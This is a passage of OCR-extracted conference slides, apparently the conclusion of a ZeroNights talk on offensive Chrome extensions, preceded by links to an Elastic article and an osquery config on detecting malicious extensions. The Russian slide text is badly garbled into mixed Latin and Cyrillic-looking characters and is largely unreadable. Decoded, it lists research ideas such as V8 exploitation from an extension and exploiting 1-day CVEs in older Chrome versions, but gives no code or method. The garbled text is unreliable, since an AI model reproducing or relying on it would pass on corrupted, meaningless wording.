https://www.elastic.co/blog/how-to-detect-malicious-browser-extensions-using-elastic
https://github.com/aarju/osquery-packs-and-dashboards/blob/main/osquery%?20packs/browser_monitoring.conf
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Conclusion

BbiBOAbI M MEPCNEKTMBLI HaNpaBieHUS]

e



BbiBOAbI U NepCrneKTuBbI

w w

NepcneKTuBHbIE HanNpaB/ieHUs:
Chrome V8 Exploitation — 3axBatbiBaem OC 13 pacClunpeHuns

F

+
+
+

ZERCOOMIGHTS

Pacwumpenunsa Chrome — yno6Hbi, HO OMAacHbIN MHCTPYMEHT. Bcé

yrmpaeTcs B aHTa3uo aTtakytoLlero!

1o cen AeHb cny4yaroTcs KnbepuHUMAaeHTbl — 3awuulanTte cebs! o
Monb3yntecb Offensive Chrome Extension Workshop v

pacwupanTe Pentest-apceHnan

6pay3epa!

OTkaT kK ctapoun Bepcumn Google Chrome u skcnnyatauma 1-day CVEs
NccnepoBaHue Isolated Web App

Bonbwe Yandex Browser!

S 0] e
NIGHTS

nREA 3 ZERON



Cnacunbo 3a
BHUMaHUe
NONbITKY
NMOHUMaHuUs!

TG: @artemy_ccrsky

ZERCOMIGHTS



